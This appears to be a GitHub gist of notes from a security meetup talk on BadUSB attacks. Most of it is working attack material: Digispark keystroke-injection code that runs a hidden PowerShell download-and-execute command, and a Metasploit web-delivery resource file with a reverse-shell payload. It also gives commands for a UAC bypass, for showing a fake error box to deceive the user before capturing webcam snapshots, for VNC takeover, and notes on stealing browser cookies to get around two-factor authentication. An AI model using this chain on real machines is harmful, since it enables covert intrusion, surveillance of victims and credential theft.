Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
Notes of Null talk on BadUSB
## Bad USB code
#include "DigiKeyboard.h"
#define WorkingPin 1 // Just as an LED indicator, as to when the work is finished
void setup() {
void loop() {
digitalWrite(WorkingPin, HIGH);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.print("powershell.exe -nop -w hidden -c $t=new-object net.webclient;$t.proxy=[Net.WebRequest]::GetSystemWebProxy();$t.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $t.downloadstring('');");
digitalWrite(WorkingPin, LOW);
for (;;) {
/*Stops the digispark from running the scipt again*/
## Metasploit resource file used in demonstration msf-web-delivery.rc
use exploit/multi/script/web_delivery
set Target 2
set LPORT 6680
set payload windows/x64/meterpreter/reverse_tcp
set AutoRunScript post/windows/manage/migrate # This step is necessary otherwise the session just dies
exploit -j
## For Popping up an innocuous message box, before starting capturing webcam snaps
DEFCON 20: Weaponizing the Windows API with Metasploit :
railgun.user32.MessageBoxA(0, "Windows has encountered some problem, with your webcam, needs to check", "Webcam 0x0002", 0x10) # 0x10 is for MB_ICONSTOP, taken from here :
If the above doesn't work you might need to put 'client' in the start of the command ( as shown in the video ), like this :
client.railgun.user32.MessageBoxA(0, "Windows has encountered some problem, with your webcam, needs to check", "Webcam 0x0002", 0x10)
## For VNC
After getting a meterpreter session : run vnc
Then connect with a VNC client on the "local machine"
## For privilege escalation ( )
use exploit/windows/local/bypassuac_comhijack
set payload windows/x64/meterpreter/reverse_tcp
set session 2
## For extracting google chrome cookies, as extracting passwords would still need you to enter the OTP, if 2FA is enabled :
You can follow the discussion here ( quite interesting if you would ask ) :
There's a metasploit module available too :
## State of the art things
Bad USB cables :
O.M.G. cables :
## Other Useful Things
DigiSpark Scripts Repo :
#shamelessSelfPromotion Ahead :p
You can read my other blogs here :
Here :

This comment has been minimized.

Copy link

vishwaskheriwal commented Jun 2, 2019

Sir can you provide a video on this topic.


This comment has been minimized.

Copy link
Owner Author

LuD1161 commented Jun 2, 2019

Hello @vishwaskheriwal, sorry to break out to you but the talk wasn't recorded and I am not getting time enough to make a tutorial for the same and put it up online.
Feel free to join for the talk , if and when it happens next.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.